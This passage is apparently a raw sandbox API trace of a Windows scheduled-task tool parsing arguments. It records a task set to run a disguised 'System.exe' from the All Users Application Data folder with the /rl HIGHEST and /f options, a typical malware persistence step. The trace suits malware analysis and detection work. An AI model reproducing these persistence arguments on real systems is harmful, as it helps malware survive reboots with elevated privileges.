[0129.140] lstrlenW (lpString="query") returned 5 [0129.140] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] lstrlenW (lpString="tr") returned 2 [0129.141] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.141] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.141] lstrlenW (lpString="|query|") returned 7 [0129.141] lstrlenW (lpString="|tr|") returned 4 [0129.141] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0129.141] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.141] lstrlenW (lpString="change") returned 6 [0129.141] lstrlenW (lpString="change") returned 6 [0129.141] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] lstrlenW (lpString="tr") returned 2 [0129.141] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.141] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.141] lstrlenW (lpString="|change|") returned 8 [0129.141] lstrlenW (lpString="|tr|") returned 4 [0129.141] StrStrIW (lpFirst="|change|", lpSrch="|tr|") returned 0x0 [0129.141] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.141] lstrlenW (lpString="run") returned 3 [0129.141] lstrlenW (lpString="run") returned 3 [0129.141] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] lstrlenW (lpString="tr") returned 2 [0129.141] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.141] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.142] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.142] lstrlenW (lpString="|run|") returned 5 [0129.142] lstrlenW (lpString="|tr|") returned 4 [0129.142] StrStrIW (lpFirst="|run|", lpSrch="|tr|") returned 0x0 [0129.142] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.142] lstrlenW (lpString="end") returned 3 [0129.142] lstrlenW (lpString="end") returned 3 [0129.142] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.142] lstrlenW (lpString="tr") returned 2 [0129.142] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.142] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.142] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.142] lstrlenW (lpString="|end|") returned 5 [0129.142] lstrlenW (lpString="|tr|") returned 4 [0129.142] StrStrIW (lpFirst="|end|", lpSrch="|tr|") returned 0x0 [0129.142] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.142] lstrlenW (lpString="showsid") returned 7 [0129.142] lstrlenW (lpString="showsid") returned 7 [0129.142] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.142] lstrlenW (lpString="tr") returned 2 [0129.142] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.142] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.142] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|tr|") returned 4 [0129.142] lstrlenW (lpString="|showsid|") returned 9 [0129.142] lstrlenW (lpString="|tr|") returned 4 [0129.142] StrStrIW (lpFirst="|showsid|", lpSrch="|tr|") returned 0x0 [0129.142] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] lstrlenW (lpString="/tr") returned 3 [0129.143] StrChrIW (lpStart="/tr", wMatch=0x3a) returned 0x0 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] lstrlenW (lpString="/tr") returned 3 [0129.143] GetProcessHeap () returned 0x2a3f45b0000 [0129.143] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x8) returned 0x2a3f45b3bc0 [0129.143] GetProcessHeap () returned 0x2a3f45b0000 [0129.143] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb5c0 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.143] lstrlenW (lpString="-/") returned 2 [0129.143] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.143] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.143] StrChrIW (lpStart="'C:\\Users\\All Users\\Application Data\\System.exe'", wMatch=0x3a) returned=":\\Users\\All Users\\Application Data\\System.exe'" [0129.143] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.143] GetProcessHeap () returned 0x2a3f45b0000 [0129.143] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45ba9f0 [0129.143] _memicmp (_Buf1=0x2a3f45ba9f0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.143] GetProcessHeap () returned 0x2a3f45b0000 [0129.143] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0xe) returned 0x2a3f45babb0 [0129.143] GetProcessHeap () returned 0x2a3f45b0000 [0129.143] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x18) returned 0x2a3f45ba930 [0129.144] _memicmp (_Buf1=0x2a3f45ba930, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.144] GetProcessHeap () returned 0x2a3f45b0000 [0129.144] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x64) returned 0x2a3f45b3be0 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] lstrlenW (lpString="'C") returned 2 [0129.144] lstrlenW (lpString="-/") returned 2 [0129.144] StrChrIW (lpStart="-/", wMatch=0x27) returned 0x0 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] lstrlenW (lpString="'C:\\Users\\All Users\\Application Data\\System.exe'") returned 48 [0129.144] GetProcessHeap () returned 0x2a3f45b0000 [0129.144] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x62) returned 0x2a3f45b3c50 [0129.144] GetProcessHeap () returned 0x2a3f45b0000 [0129.144] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb770 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.144] lstrlenW (lpString="/rl") returned 3 [0129.144] lstrlenW (lpString="-/") returned 2 [0129.144] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.144] lstrlenW (lpString="?") returned 1 [0129.144] lstrlenW (lpString="?") returned 1 [0129.144] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.144] lstrlenW (lpString="rl") returned 2 [0129.144] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.144] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.145] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.145] lstrlenW (lpString="|?|") returned 3 [0129.145] lstrlenW (lpString="|rl|") returned 4 [0129.145] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.145] lstrlenW (lpString="create") returned 6 [0129.145] lstrlenW (lpString="create") returned 6 [0129.145] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.145] lstrlenW (lpString="rl") returned 2 [0129.145] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.145] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.145] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.145] lstrlenW (lpString="|create|") returned 8 [0129.145] lstrlenW (lpString="|rl|") returned 4 [0129.145] StrStrIW (lpFirst="|create|", lpSrch="|rl|") returned 0x0 [0129.145] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.145] lstrlenW (lpString="delete") returned 6 [0129.145] lstrlenW (lpString="delete") returned 6 [0129.145] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.145] lstrlenW (lpString="rl") returned 2 [0129.145] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.145] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.145] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.145] lstrlenW (lpString="|delete|") returned 8 [0129.145] lstrlenW (lpString="|rl|") returned 4 [0129.145] StrStrIW (lpFirst="|delete|", lpSrch="|rl|") returned 0x0 [0129.146] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.146] lstrlenW (lpString="query") returned 5 [0129.146] lstrlenW (lpString="query") returned 5 [0129.146] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.146] lstrlenW (lpString="rl") returned 2 [0129.146] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.146] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.146] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.146] lstrlenW (lpString="|query|") returned 7 [0129.146] lstrlenW (lpString="|rl|") returned 4 [0129.146] StrStrIW (lpFirst="|query|", lpSrch="|rl|") returned 0x0 [0129.146] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.146] lstrlenW (lpString="change") returned 6 [0129.146] lstrlenW (lpString="change") returned 6 [0129.146] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.146] lstrlenW (lpString="rl") returned 2 [0129.146] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.146] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.146] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.146] lstrlenW (lpString="|change|") returned 8 [0129.146] lstrlenW (lpString="|rl|") returned 4 [0129.146] StrStrIW (lpFirst="|change|", lpSrch="|rl|") returned 0x0 [0129.146] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.146] lstrlenW (lpString="run") returned 3 [0129.146] lstrlenW (lpString="run") returned 3 [0129.146] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] lstrlenW (lpString="rl") returned 2 [0129.147] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.147] lstrlenW (lpString="|run|") returned 5 [0129.147] lstrlenW (lpString="|rl|") returned 4 [0129.147] StrStrIW (lpFirst="|run|", lpSrch="|rl|") returned 0x0 [0129.147] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.147] lstrlenW (lpString="end") returned 3 [0129.147] lstrlenW (lpString="end") returned 3 [0129.147] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] lstrlenW (lpString="rl") returned 2 [0129.147] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.147] lstrlenW (lpString="|end|") returned 5 [0129.147] lstrlenW (lpString="|rl|") returned 4 [0129.147] StrStrIW (lpFirst="|end|", lpSrch="|rl|") returned 0x0 [0129.147] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.147] lstrlenW (lpString="showsid") returned 7 [0129.147] lstrlenW (lpString="showsid") returned 7 [0129.147] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] lstrlenW (lpString="rl") returned 2 [0129.147] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.147] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x5, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|rl|") returned 4 [0129.148] lstrlenW (lpString="|showsid|") returned 9 [0129.148] lstrlenW (lpString="|rl|") returned 4 [0129.148] StrStrIW (lpFirst="|showsid|", lpSrch="|rl|") returned 0x0 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] lstrlenW (lpString="/rl") returned 3 [0129.148] StrChrIW (lpStart="/rl", wMatch=0x3a) returned 0x0 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] lstrlenW (lpString="/rl") returned 3 [0129.148] GetProcessHeap () returned 0x2a3f45b0000 [0129.148] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x8) returned 0x2a3f45bbcc0 [0129.148] GetProcessHeap () returned 0x2a3f45b0000 [0129.148] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb2f0 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] lstrlenW (lpString="HIGHEST") returned 7 [0129.148] lstrlenW (lpString="-/") returned 2 [0129.148] StrChrIW (lpStart="-/", wMatch=0x48) returned 0x0 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] lstrlenW (lpString="HIGHEST") returned 7 [0129.148] StrChrIW (lpStart="HIGHEST", wMatch=0x3a) returned 0x0 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.148] lstrlenW (lpString="HIGHEST") returned 7 [0129.148] GetProcessHeap () returned 0x2a3f45b0000 [0129.148] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x10) returned 0x2a3f45ba890 [0129.149] GetProcessHeap () returned 0x2a3f45b0000 [0129.149] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb7a0 [0129.149] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.149] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.149] lstrlenW (lpString="/f") returned 2 [0129.149] lstrlenW (lpString="-/") returned 2 [0129.149] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0129.149] lstrlenW (lpString="?") returned 1 [0129.149] lstrlenW (lpString="?") returned 1 [0129.149] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.149] lstrlenW (lpString="f") returned 1 [0129.149] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.149] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|?|") returned 3 [0129.149] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.149] lstrlenW (lpString="|?|") returned 3 [0129.149] lstrlenW (lpString="|f|") returned 3 [0129.149] StrStrIW (lpFirst="|?|", lpSrch="|f|") returned 0x0 [0129.149] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.149] lstrlenW (lpString="create") returned 6 [0129.149] lstrlenW (lpString="create") returned 6 [0129.149] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.149] lstrlenW (lpString="f") returned 1 [0129.149] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.149] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|create|") returned 8 [0129.149] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.149] lstrlenW (lpString="|create|") returned 8 [0129.149] lstrlenW (lpString="|f|") returned 3 [0129.150] StrStrIW (lpFirst="|create|", lpSrch="|f|") returned 0x0 [0129.150] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.150] lstrlenW (lpString="delete") returned 6 [0129.150] lstrlenW (lpString="delete") returned 6 [0129.150] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.150] lstrlenW (lpString="f") returned 1 [0129.150] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.150] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|delete|") returned 8 [0129.150] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.150] lstrlenW (lpString="|delete|") returned 8 [0129.150] lstrlenW (lpString="|f|") returned 3 [0129.150] StrStrIW (lpFirst="|delete|", lpSrch="|f|") returned 0x0 [0129.150] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.150] lstrlenW (lpString="query") returned 5 [0129.150] lstrlenW (lpString="query") returned 5 [0129.150] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.150] lstrlenW (lpString="f") returned 1 [0129.150] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.150] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x8, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|query|") returned 7 [0129.150] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.150] lstrlenW (lpString="|query|") returned 7 [0129.150] lstrlenW (lpString="|f|") returned 3 [0129.150] StrStrIW (lpFirst="|query|", lpSrch="|f|") returned 0x0 [0129.150] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.150] lstrlenW (lpString="change") returned 6 [0129.150] lstrlenW (lpString="change") returned 6 [0129.151] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.151] lstrlenW (lpString="f") returned 1 [0129.151] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.151] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x9, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|change|") returned 8 [0129.151] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.151] lstrlenW (lpString="|change|") returned 8 [0129.151] lstrlenW (lpString="|f|") returned 3 [0129.151] StrStrIW (lpFirst="|change|", lpSrch="|f|") returned 0x0 [0129.151] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.151] lstrlenW (lpString="run") returned 3 [0129.151] lstrlenW (lpString="run") returned 3 [0129.151] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.151] lstrlenW (lpString="f") returned 1 [0129.151] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.151] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|run|") returned 5 [0129.151] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.151] lstrlenW (lpString="|run|") returned 5 [0129.151] lstrlenW (lpString="|f|") returned 3 [0129.151] StrStrIW (lpFirst="|run|", lpSrch="|f|") returned 0x0 [0129.151] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.151] lstrlenW (lpString="end") returned 3 [0129.151] lstrlenW (lpString="end") returned 3 [0129.151] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.151] lstrlenW (lpString="f") returned 1 [0129.151] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.152] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0x6, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|end|") returned 5 [0129.152] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.152] lstrlenW (lpString="|end|") returned 5 [0129.152] lstrlenW (lpString="|f|") returned 3 [0129.152] StrStrIW (lpFirst="|end|", lpSrch="|f|") returned 0x0 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] lstrlenW (lpString="showsid") returned 7 [0129.152] lstrlenW (lpString="showsid") returned 7 [0129.152] _memicmp (_Buf1=0x2a3f45b4380, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.152] lstrlenW (lpString="f") returned 1 [0129.152] _memicmp (_Buf1=0x2a3f45b3920, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0129.152] _vsnwprintf (in: _Buffer=0x2a3f45b3960, _BufferCount=0xa, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|showsid|") returned 9 [0129.152] _vsnwprintf (in: _Buffer=0x2a3f45b3940, _BufferCount=0x4, _Format="|%s|", _ArgList=0xed002af138 | out: _Buffer="|f|") returned 3 [0129.152] lstrlenW (lpString="|showsid|") returned 9 [0129.152] lstrlenW (lpString="|f|") returned 3 [0129.152] StrStrIW (lpFirst="|showsid|", lpSrch="|f|") returned 0x0 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] lstrlenW (lpString="/f") returned 2 [0129.152] StrChrIW (lpStart="/f", wMatch=0x3a) returned 0x0 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.152] lstrlenW (lpString="/f") returned 2 [0129.152] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x6) returned 0x2a3f45bbce0 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] RtlAllocateHeap (HeapHandle=0x2a3f45b0000, Flags=0xc, Size=0x20) returned 0x2a3f45bb9e0 [0129.241] RtlRestoreLastWin32Error () returned 0xed0047b000 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45b3900) returned 1 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45b3900) returned 0x8 [0129.241] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45b3900) returned 1 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb590) returned 1 [0129.241] GetProcessHeap () returned 0x2a3f45b0000 [0129.241] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb590) returned 0x20 [0129.242] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb590) returned 1 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45ba8f0) returned 1 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45ba8f0) returned 0x10 [0129.242] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45ba8f0) returned 1 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] HeapValidate (hHeap=0x2a3f45b0000, dwFlags=0x0, lpMem=0x2a3f45bb830) returned 1 [0129.242] GetProcessHeap () returned 0x2a3f45b0000 [0129.242] RtlSizeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, MemoryPointer=0x2a3f45bb830) returned 0x20 [0129.243] RtlFreeHeap (HeapHandle=0x2a3f45b0000, Flags=0x0, BaseAddress=0x2a3f45bb830) returned 1 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] GetProcessHeap () returned 0x2a3f45b0000 [0129.243] 